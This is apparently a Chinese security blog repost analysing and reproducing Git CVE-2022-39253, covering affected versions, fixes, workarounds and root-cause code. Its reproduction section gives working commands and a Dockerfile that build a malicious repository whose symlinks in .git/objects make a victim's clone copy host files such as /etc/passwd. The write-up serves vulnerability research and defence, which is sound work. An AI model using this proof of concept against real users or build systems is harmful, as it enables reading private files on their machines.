Git CVE-2022-39253 漏洞分析与复现

admin 2023年4月18日08:26:34评论65 views字数 20806阅读69分21秒阅读模式

CVE-2022-39253 影响 git 下游软件,包括 docker 等,关于 docker 受此漏洞的影响,请关注本公众号之后文章,本文仅关注 git 部分CVE-2022-39253 影响 git 下游软件,包括 docker 等,关于 docker 受此漏洞的影响,请关注本公众号之后文章,本文仅关注 git 部分注:CVE-2022-39253影响git下游软件,包括docker等,关于docker受此漏洞的影响,请关注本公众号之后文章,本文仅关注git部分。注:CVE-2022-39253影响git下游软件,包括docker等,关于docker受此漏洞的影响,请关注本公众号之后文章,本文仅关注git部分。

注:CVE-2022-39253影响git下游软件,包括docker等,关于docker受此漏洞的影响,请关注本公众号之后文章,本文仅关注git部分。

一、基本信息

Item

Details

Note

Project

git/git[1]


Publish Date

2022-10-18


Introduce Date

vulnerability1: 2008-05-05

dir symlink


vulnerability2: 2019-07-12

file symlink

Confirm Link

GHSA-3wp6-j8xr-qw85[2]



Git Mailing List Archive on lore.kernel.org[3]


CVE-ID

CVE-2022-39253

mitre[4]

Poc

ssst0n3/docker-cve-2022-39253-poc[5]


Fix Commit

commits[6]


Introduce Commit

vulnerability1: 8434c2f[7]



vulnerability2: 36596fd[8]


CVSS

5.5 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N


Vuln's Author

Cory Snider@Mirantis

github[9]

二、组件简介

Git作为一个源项目,是一个快速、可扩展的分布式版本控制系统。本次漏洞发生于本地clone相关的特性。当在本地clone一个仓库时,--local选项会使git解析objects目录下的软链接,因此导致此漏洞。

三、漏洞作者

注:本漏洞由Cory Snider@Mirantis和Bjorn Neergaard@Mirantis作根因分析,由Cory Snider报告给git项目的,且credit也是Cory Snider。

Cory Snider是mirantis的高级软件工程师, Mirantis Secure Registry 团队的成员, 也是docker项目的maintainer。

Item

Link

Author

Cory Snider

Organization

Mirantis

github

https://github.com/corhere

email

[email protected]

linkedin

https://ca.linkedin.com/in/cory-snider

cve

CVE-2022-39253[10]

presents

Cory Snider - Outstanding Employee Award Winner for Engineering[11]

other

docker maintainer[12]

四、漏洞详情

1. 介绍

当在本地clone一个仓库时,--local选项会使git直接从源地址创建硬连接或复制文件和目录。这个特性可能被用于处理软连接,因此导致此漏洞。

git的这个特性,在处理.git/objects/下的软链接时,会解析软链接的源地址。

对软链接指向的源地址:

  • 继续递归遍历——漏洞点1

  • 创建硬链接或复制——漏洞点2

这两种行为都将导致宿主机任意文件读,我在本文将他们分别称为漏洞点1,漏洞点2。

解析软链接导致的漏洞屡见不鲜,这里也不例外。攻击者可以诱导受害者clone一个恶意仓库来读取仓库外的文件。

两个漏洞点均可导致任意文件读取,但具体利用手法略有差异:

  • 漏洞点1:

    可以通过软链接到目录的方式,来读取任意文件

  • 漏洞点2:

    既可以通过软链接到目录的方式,来读取任意文件

    也可以通过软链接到文件的方式,来读取任意文件

我设计了由简单到精细的三种利用手法,利用时可以直接使用最后一种,为了便于理解,可以逐步复现:

2. 影响

2.1 范围

>= v1.5.6-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0

具体到分析漏洞是如何引入:

  1. 漏洞点1:>= v1.5.6-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0

  2. 漏洞点2:>= v2.23.0-rc0, <= v2.30.5, v2.31.4, v2.32.3, v2.33.4, v2.34.4, v2.35.4, v2.36.2, v2.37.3, v2.38.0

2.2 危害和利用场景

适用于攻击者从只能控制部分路径,到读取主机任意文件的场景。

特别是基于容器的编译构建场景:攻击者可以触发docker build从一个恶意的仓库clone代码,利用本漏洞,读取宿主机任意文件。这涉及docker受本漏洞的影响,我将在另一篇文章“Git CVE-2022-39253 on docker 漏洞分析与复现”中详细分析。

五、防御

1. 修复建议

  • 更新git软件至修复版本。

  • 更新依赖git的下游软件至修复版本,例如docker,podman,visual studio,xcode等。

2. 规避措施

如果更新git版本不可行,应

  • 当git clone 本地机器上的仓库时,避免使用--local选项clone不可信的代码,而应使用--no-local选项,或者直接使用file协议clone。

  • 在git clone 不可信的代码库时,避免使用--recurse-submodules选项,或先设置git config --global protocol.file.allow user

3. 检测

较难检测,考虑:
监测操作系统上关键文件的访问行为,能否关联到git clone相关的行为。

六、漏洞复现

1. 复现环境

可以直接使用dockerhub上的git镜像,例如alpine/gitbitnamic/git

本漏洞涉及两个漏洞点,不同漏洞点表现不同。因此需要两种版本的镜像:

镜像一,用于验证

  1. 漏洞点一存在

  2. 漏洞点二不存在

$ docker run -ti --entrypoint=bash bitnami/git:2.22.1
root@8ea175354011:/# git --version
git version 2.22.1

镜像二,需要使用有引入commit[13]的版本,即v2.23.0-rc0及之后版本的镜像。用于验证,

$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0

2. 漏洞复现

2.1 利用方法1:本地仓库

准备环境

  • 准备恶意本地仓库 /tmp/a

  • 在.git/objects目录下创建一个指向/etc/passwd的软链接

$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # mkdir /tmp/a
/git # git init /tmp/a
/git # ln -s /etc/passwd /tmp/a/.git/objects/passwd
/git # ls -l /tmp/a/.git/objects/passwd 
lrwxrwxrwx 1 root root 11 Dec 8 15:25 /tmp/a/.git/objects/passwd -> /etc/passwd

git clone触发漏洞

/git # git clone /tmp/a /tmp/b
Cloning into '/tmp/b'...
warning: You appear to have cloned an empty repository.
done.

验证利用效果,发现/etc/passwd被成功复制到新的git目录下。

/git # ls -li /etc/passwd /tmp/b/.git/objects/passwd
2629495 -rw-r--r--    2 root root 1172 Jul 10  2021 /etc/passwd
2629495 -rw-r--r--    2 root root 1172 Jul 10  2021 /tmp/b/.git/objects/passwd
/git # head -n 1 /tmp/b/.git/objects/passwd
root:x:0:0:root:/root:/bin/ash

2.2 利用方法2:submodule+本地路径

这种利用方法的适用场景是,当git clone的地址被限制协议时,仍可将本地路径配置在submodule中。

准备环境

  • 准备本地恶意仓库 /tmp/b

  • 在一个/tmp/b/.git/objects下创建一个指向/etc/passwd的软链接

  • 准备任意仓库 file:///tmp/a , 设置submodule

$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # git init /tmp/a
/git # git init /tmp/b
/git # cd /tmp/b
/tmp/b # git config --global user.email "[email protected]" && git config --global user.name "Your Name"
/tmp/b # touch README.md && git add . && git commit -m init
/tmp/b # ln -s /etc/passwd /tmp/b/.git/objects/passwd
/tmp/a # cd /tmp/a
/tmp/a # git submodule add /tmp/b
/tmp/a # git add . && git commit -m init

git clone触发漏洞

/tmp/a # git clone --recurse-submodules file:///tmp/a /tmp/c
Cloning into '/tmp/c'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Submodule 'b' (/tmp/b) registered for path 'b'
Cloning into '/tmp/c/b'...
done.
Submodule path 'b': checked out 'f075a2e5e1eb789de1b0ae8272551c063efe709f'

验证利用效果,发现/etc/passwd被成功复制到新的git目录下。

/tmp/a # ls -li /etc/passwd /tmp/c/.git/modules/b/objects/passwd
2629495 -rw-r--r--    3 root     root          1172 Jul 10  2021 /etc/passwd
2629495 -rw-r--r--    3 root     root          1172 Jul 10  2021 /tmp/c/.git/modules/b/objects/passwd

2.3 利用方法3:submodule+仓库内嵌git目录

利用方法2解决了仓库地址协议的限制,仍需要可以控制本地的一个目录。如果将本地目录直接包含在git仓库中,则不需要再额外控制本地目录。

我构造了这样一个git仓库,它会读取主机的/tmp/escaped文件作为证明,实际利用时,可以替换为其他文件或目录

也可将构造的git仓库push到github等仓库,例如 https://github.com/ssst0n3/docker-cve-2022-39253-poc

构造恶意仓库

$ cat > Dockerfile <<EOF
FROM alpine/git:v2.30.2

RUN sed -i "s@https://dl-cdn.alpinelinux.org/@https://repo.huaweicloud.com/@g" /etc/apk/repositories
RUN apk add vim python3
RUN git config --global user.email "[email protected]" && git config --global user.name "LEI WANG" 

WORKDIR /tmp/evil
RUN git init
RUN touch README.md 
RUN ln -s /tmp/escaped .git/objects/host
RUN git add . && git commit -m init
RUN git update-server-info

WORKDIR /tmp/dumb
RUN git init 
RUN touch README.md
RUN mkdir evil2 && cp /tmp/evil/.git evil2/git -r
RUN git add . && git commit -m init
RUN git submodule add /tmp/evil
RUN sed -i 's@/tmp/evil@/proc/self/cwd/evil2/git@g' .gitmodules
RUN git add . && git commit -m update
RUN git update-server-info


WORKDIR /tmp
ENTRYPOINT cat /tmp/dumb/.gitmodules && python3 -m http.server 80
EOF

$ docker build -t evil-git .
$ docker run -d -p 8000:80 evil-git
2.3.1 验证漏洞点2存在

漏洞复现:

$ docker run -ti --entrypoint=ash alpine/git:v2.30.2
/git # git --version
git version 2.32.0
/git # echo "escaped" > /tmp/escaped
/git # git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/git/dumb/evil'...
done.
Submodule path 'evil'checked out 'b6b4b63c4bd20eb7b800b8ffbee569c435538416'
/git # cat dumb/.git/modules/evil/objects/host
escaped
2.3.2 验证漏洞点1存在

将软链接修改为链接至目录

恶意仓库

ln -s /etc .git/objects/host

漏洞复现:

/git # git --version
git version 2.32.0
/git # echo "escaped" > /etc/proof
/git # git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/git/dumb/evil'...
done.
Submodule path 'evil'checked out '128a0e2ef56a135c86ff6f9010d2fef7d1629e37'
/git # ls -lah dumb/.git/modules/evil/objects/host/
total 184K   
drwxr-xr-x   18 root     root        4.0K Dec 21 07:06 .
drwxr-xr-x    8 root     root        4.0K Dec 21 07:06 ..
-rw-r--r--    1 root     root           7 Aug 27  2021 alpine-release
drwxr-xr-x    4 root     root        4.0K Dec 21 07:06 apk
...
/git # cat dumb/.git/modules/evil/objects/host/proof 
escaped


2.3.3 验证漏洞点 1 在更早版本就存在

恶意仓库

ln -s /etc .git/objects/host

漏洞复现:

$ docker run -ti --entrypoint=bash bitnami/git:2.22.1
root@8ea175354011:/# git --version
git version 2.22.1
root@8ea175354011:/# echo "escaped" > /etc/proof  
root@8ea175354011:/# git clone --recurse-submodules http://172.17.0.1:8000/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/dumb/evil'...
warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/pager.1.gz

warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/awk.1.gz

warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/nawk.1.gz

warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/builtins.7.gz

warning: failed to stat /proc/self/cwd/evil2/git/objects/host/alternatives/rmt.8.gz

done.
Submodule path 'evil': checked out '128a0e2ef56a135c86ff6f9010d2fef7d1629e37'
root@8ea175354011:/# ls -lah dumb/.git/modules/evil/objects/host
total 400K
drwxr-xr-x 42 root root 4.0K Dec 21 07:05 .
drwxr-xr-x  8 root root 4.0K Dec 21 07:05 ..
-rw-------  2 root root    0 Apr  8  2019 .pwd.lock
drwxr-xr-x  3 root root 4.0K Dec 21 07:05 X11
...
root@8ea175354011:/# cat dumb/.git/modules/evil/objects/host/proof
escaped
2.3.4 验证漏洞点2在较早版本不存在

恶意仓库

ln -s /tmp/escaped .git/objects/host

漏洞复现:

root@8ea175354011:/# git --version
git version 2.22.1
root@8ea175354011:/# rm dumb/ -rf
root@8ea175354011:/# git clone --recurse-submodules http://172.17.0.1:8001/dumb/.git
Cloning into 'dumb'...
Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
Cloning into '/dumb/evil'...
done.
Submodule path 'evil': checked out 'c420fd38cb477e8ff81062ed2135622cec255d7c'
root@8ea175354011:/# ls -lah dumb/.git/modules/evil/objects/host 
lrwxrwxrwx 2 root root 11 Dec 21 07:13 dumb/.git/modules/evil/objects/host -> /etc/passwd

七、漏洞分析

1. 原始特性分析

1.1 `--local`

当使用--local选项clone仓库时,git会通过创建硬连接或复制源地址的 .git/objects/下的文件。这其实是一种优化:通过创建硬链接来节省硬盘空间。

如果仓库地址是一个本地路径(例如/path/to/repo),这个行为是默认的,即是否指定--local选项都生效。


初始化一个本地仓库:

$ mkdir /tmp/a
$ touch /tmp/a/README.md
$ cd /tmp/a
$ git init && git add . && git commit -m "init"

通过本地路径clone时,是否指定--local效果都一样:

$ git clone --local /tmp/a /tmp/b
Cloning into '/tmp/b'...
done.
$ git clone /tmp/a /tmp/c
Cloning into '/tmp/c'...
done.
$ ls -li /tmp/a/.git/objects/df/* /tmp/b/.git/objects/df/* /tmp/c/.git/objects/df/*
2641349 -r--r--r--    3 root     root           123 Dec  8 15:03 /tmp/a/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641349 -r--r--r--    3 root     root           123 Dec  8 15:03 /tmp/b/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641349 -r--r--r--    3 root     root           123 Dec  8 15:03 /tmp/c/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59

如果仓库地址是一个URL[14],则这个选项会被忽略,即是否指定--local选项都不生效。

$ git clone file:///tmp/a /tmp/d
Cloning into '/tmp/d'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
$ git clone file:///tmp/a /tmp/e
Cloning into '/tmp/e'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

当指定--no-local选项时,即使给定本地路径(例如/path/to/repo), 会使用常规的git传输方法。

$ git clone --no-local /tmp/a /tmp/f
Cloning into '/tmp/f'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

--no-hardlinks选项会强制从本地的源路径复制文件,而不是创建硬链接。这个选项适用于备份场景。

$ git clone --no-hardlinks /tmp/a /tmp/g
$ ls -li /tmp/a/.git/objects/df/* /tmp/g/.git/objects/df/*
2641349 -r--r--r--    3 root     root           123 Dec  8 15:03 /tmp/a/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59
2641619 -rw-r--r--    1 root     root           123 Dec  8 15:03 /tmp/g/.git/objects/df/5a67b8bdb50847cc34fecd76c6606bc51fac59

1.2 `--recurse-submodules`

git clone --recurse-submodules 会自动把子模块clone下来。子模块定义在.gitmodules文件。

[submodule "libfoo"]
    path = include/foo
    url = git://foo.com/git/lib.git

这里也有一个url,如果这个url配置为本地路径,则会调用上文提及的--local优化。

$ mkdir /tmp/a /tmp/b
$ git init /tmp/a
$ git init /tmp/b
$ cd /tmp/b
$ touch README.md && git add . && git commit -m init
$ cd /tmp/a
$ git submodule init
$ git submodule add /tmp/b
$ git add . && git commit -m init
$ git clone --recurse-submodules file:///tmp/a /tmp/c
$ ls -li /tmp/b/.git/objects/e0/* /tmp/c/.git/modules/b/objects/e0/*
3019812 -r--r--r-- 3 st0n3 st0n3 122 12月  9 11:21 /tmp/b/.git/objects/e0/c09f766d9c50b3c8f8fad268317f0a741928cf
3019812 -r--r--r-- 3 st0n3 st0n3 122 12月  9 11:21 /tmp/c/.git/modules/b/objects/e0/c09f766d9c50b3c8f8fad268317f0a741928cf

2. 调用链

该功能的调用链相对较简短,由--local优化特性开始,到复制或创建软链接

This is done through the callpath cmd_clone() ->
clone_local() -> copy_or_link_directory().

执行clone命令时,如果启用优化特性,则调用clone_local函数。

https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L1344

int cmd_clone(int argc, const char **argv, const char *prefix)
{
    ...
    if (is_local)
        clone_local(path, git_dir);
    else if (refs && complete_refs_before_fetch) {
        ...
    }
    ...
}

对objects目录,执行copy_or_link_directory函数

https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L478

static void clone_local(const char *src_repo, const char *dest_repo)
{
    if (option_shared) {
        struct strbuf alt = STRBUF_INIT;
        get_common_dir(&alt, src_repo);
        strbuf_addstr(&alt, "/objects");
        add_to_alternates_file(alt.buf);
        strbuf_release(&alt);
    } else {
        struct strbuf src = STRBUF_INIT;
        struct strbuf dest = STRBUF_INIT;
        get_common_dir(&src, src_repo);
        get_common_dir(&dest, dest_repo);
        strbuf_addstr(&src, "/objects");
        strbuf_addstr(&dest, "/objects");
        copy_or_link_directory(&src, &dest, src_repo);
        strbuf_release(&src);
        strbuf_release(&dest);
    }

    if (0 <= option_verbosity)
        fprintf(stderr, _("done.n"));
}

遍历objects目录,创建软链接或复制。

https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L458-L467

static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
                   const char *src_repo)
{
    ...
    flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
    iter = dir_iterator_begin(src->buf, flags);

    if (!iter)
        die_errno(_("failed to start iterator over '%s'"), src->buf);
    ...
    while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
        ...
        if (!option_no_hardlinks) {
            strbuf_realpath(&realpath, src->buf, 1);
            if (!link(realpath.buf, dest->buf))
                continue;
            if (option_local > 0)
                die_errno(_("failed to create link '%s'"), dest->buf);
            option_no_hardlinks = 1;
        }
        if (copy_file_with_time(dest->buf, src->buf, 0666))
            die_errno(_("failed to copy file to '%s'"), dest->buf);
    }
    ...
}

3. 漏洞分析

漏洞点有两处:

  1. 遍历文件时对软链接的解析

  2. 创建硬链接时,对软链接进行了解析。

漏洞点1, 遍历目录时,解析了软链接:

https://github.com/git/git/blob/v2.30.5/builtin/clone.c#L459-L460

static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
                   const char *src_repo
)
{
    ...
    flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
    iter = dir_iterator_begin(src->buf, flags);
    ...
}

漏洞点2, 源文件是软链接时,创建硬链接:

static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
                   const char *src_repo
)
{   
    ...
    while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
        ...
        if (!option_no_hardlinks) {
            strbuf_realpath(&realpath, src->buf, 1);
            if (!link(realpath.buf, dest->buf))
                continue;
            ...
        }
        ...
    }
    ...
}

第一处漏洞点很早就存在,追溯到最早期时,其代码要更直白,直接调用了opendir, readdir:

https://github.com/git/git/blob/8434c2f1afedb936e0ea8c07ce25733013c2f743/builtin-clone.c#L177

static void copy_or_link_directory(char *src, char *dest)
{
    ...
    dir = opendir(src);
    ...
    while ((de = readdir(dir)) != NULL) {
        ...
    }
}

第二处由一次优化引入。根据commit中的描述,当目标文件是软链接时,不同os创建硬链接的处理方式不一致。为了实现os无关,所以在创建硬链接前,解析了软链接。

https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#

static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
                   const char *src_repo, int src_baselen)
{
    ...
-   if (!link(src->buf, dest->buf))
+   if (!link(real_path(src->buf), dest->buf))
    ...
}

但奇怪的是,git 似乎不会主动在.git/objects目录创建软链接, 为什么开发者会处理这些特性呢?

Note: Git won't create symlinks at .git/objects itself, but it's better
to handle this case and be friendly with users who manually create them.

八、漏洞修复分析

1. 修复分析

该漏洞修复涉及的commits共11条。

https://github.com/git/git/compare/v2.30.5…a1d4f67c12ac172f835e6d5e4e0a197075e2146b

其中最关键的commit是builtin/clone.c: disallow --local clones with symlinks

这个修复很简单

  • 遍历目录时,不再解析软链接。

  • 遍历源目录下的文件,判断是否是链接,如果是,直接退出。

https://github.com/git/git/commit/6f054f9fb3a501c35b55c65e547a244f14c38d56

static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
                   const char *src_repo)
{
    int src_len, dest_len;
    struct dir_iterator *iter;
    int iter_status;
-   unsigned int flags;
    struct strbuf realpath = STRBUF_INIT;

    mkdir_if_missing(dest->buf, 0777);

-   flags = DIR_ITERATOR_PEDANTIC | DIR_ITERATOR_FOLLOW_SYMLINKS;
-   iter = dir_iterator_begin(src->buf, flags);

+   iter = dir_iterator_begin(src->buf, DIR_ITERATOR_PEDANTIC);

    ...
    while ((iter_status = dir_iterator_advance(iter)) == ITER_OK) {
        ...
+       if (S_ISLNK(iter->st.st_mode))
+           die(_("symlink '%s' exists, refusing to clone with --local"),
+               iter->relative_path);
        ...
        /* Files that cannot be copied bit-for-bit... */
        if (!fspathcmp(iter->relative_path, "info/alternates")) {
            copy_alternates(src, src_repo);
            continue;
        }
        ...
        if (!option_no_hardlinks) {
            strbuf_realpath(&realpath, src->buf, 1);
            if (!link(realpath.buf, dest->buf))
                continue;
            if (option_local > 0)
                die_errno(_("failed to create link '%s'"), dest->buf);
            option_no_hardlinks = 1;
        }
        if (copy_file_with_time(dest->buf, src->buf, 0666))
            die_errno(_("failed to copy file to '%s'"), dest->buf);
    }
    ...

2. 当前修复局限性:引发的问题

该修复导致了一些问题:

  • https://vielmetti.typepad.com/logbook/2022/10/git-security-fixes-lead-to-fatal-transport-file-not-allowed-error-in-ci-systems-cve-2022-39253.html

  • https://www.mail-archive.com/[email protected]/msg1878180.html

为了解决这个问题,目前业界普遍的修复方案是,设置protocol.file.allow=always,这个设置会不会带来别的问题?还请读者一起思考。

后续git开发者会不会觉得相关代码的修复过于激进(引发了上述问题),重新修复,导致一些其他问题(如漏洞又被引入),也有待跟进。

3. 该修复有无引入新漏洞

修复代码很少,不会因本次修复引入新漏洞。

九、漏洞挖掘方法与过程

1. 原作者的漏洞挖掘方法

较难分析原作者的漏洞挖掘方法,以下是我的一些猜想:

  1. 首先从漏洞利用场景出发,目标应为挖掘docker build的漏洞

  2. 分析docker build的风险,将目标聚焦在调用git时可能触发的漏洞

  3. 考虑git的任意文件读取

  4. 在分析到任意文件读取时,很自然想到软链接

  5. 阅读git相关代码,分析涉及处理软链接的相关函数

2. 有无可能早于作者或业界发现

漏洞修复的commit早于漏洞公告:

git的修复的 commit[15]发布时间是10月1日,漏洞的公告时间[16]10月19日

而下游的修复和公告时间更晚,是可以早于业界发现该漏洞的。

十、总结

该漏洞很有趣,也很有借鉴价值

1. 趣味性

  1. 该漏洞是git的漏洞,但影响了下游软件

  2. 该漏洞归属于git,下游软件可能没有分配CVE编号,因此可能不受业界重视

  3. 据我推测,该漏洞是为了docker供应链漏洞而挖掘的

2. 启发性

  1. 在今后的漏洞挖掘活动中,应加强对供应链软件的关注

  2. 引入隐秘修复检测技术

  3. 丰富了软链接相关的漏洞模式

3. 渗透测试

鉴于业界对此问题的关注度不足,渗透测试可以重点验证下游软件、云服务的利用情况。

时间线

漏洞产生、发现、报告、修复、分析的时间线

  • 2008-05-05:  漏洞点一引入[17]

  • 2019-07-12: 漏洞点二引入[18]

  • 2022-03-11(推测): Wenxiang Qian 发现并报告给 docker[19]

  • 2022-03-22(推测): docker 安全团队确认[20]

  • 未知时间:Cory Snider进行根因分析并报告给git

  • 2022-09-02: CVE ID 分配[21]

  • 2022-10-01: Fix commited[22]

  • 2022-10-18: 修复版本 release 发布[23]

  • 2022-10-19: git 发布漏洞公告[24]

  • 略:docker,apple等下游公司修复

参考资料

[1]

git/git: https://github.com/git/git

[2]

GHSA-3wp6-j8xr-qw85: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85

[3]

Git Mailing List Archive on lore.kernel.org: https://lore.kernel.org/git/[email protected]/T/#u

[4]

mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253

[5]

ssst0n3/docker-cve-2022-39253-poc: https://github.com/ssst0n3/docker-cve-2022-39253-poc

[6]

commits: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b

[7]

8434c2f: https://github.com/git/git/commit/8434c2f1afedb936e0ea8c07ce25733013c2f743

[8]

36596fd: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#

[9]

github: https://github.com/corhere

[10]

CVE-2022-39253: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253

[11]

Cory Snider - Outstanding Employee Award Winner for Engineering: https://www.youtube.com/watch?v=YO3jl6rSlCs

[12]

docker maintainer: https://github.com/moby/moby/blob/0200623ef7b7b166c675cb14502cbc0704d3dfd4/MAINTAINERS#L329

[13]

commit: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6#

[14]

URL: https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-clone.html#URLS

[15]

修复的commit: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b

[16]

公告时间: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85

[17]

漏洞点一引入: https://github.com/git/git/commit/8434c2f1afedb936e0ea8c07ce25733013c2f743

[18]

漏洞点二引入: https://github.com/git/git/commit/36596fd2dfa473cf1069d23776e62cc156e7b5c6

[19]

Wenxiang Qian发现并报告给docker: http://n0o.com/post.php?id=34

[20]

docker安全团队确认: http://n0o.com/post.php?id=34

[21]

CVE ID分配: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39253

[22]

Fix commited: https://github.com/git/git/compare/v2.30.5...a1d4f67c12ac172f835e6d5e4e0a197075e2146b

[23]

修复版本release发布: https://lore.kernel.org/git/[email protected]/T/#u

[24]

git发布漏洞公告: https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85


原文始发于微信公众号(WIN哥学安全):Git CVE-2022-39253 漏洞分析与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月18日08:26:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Git CVE-2022-39253 漏洞分析与复现http://cn-sec.com/archives/1676164.html

发表评论

匿名网友 填写信息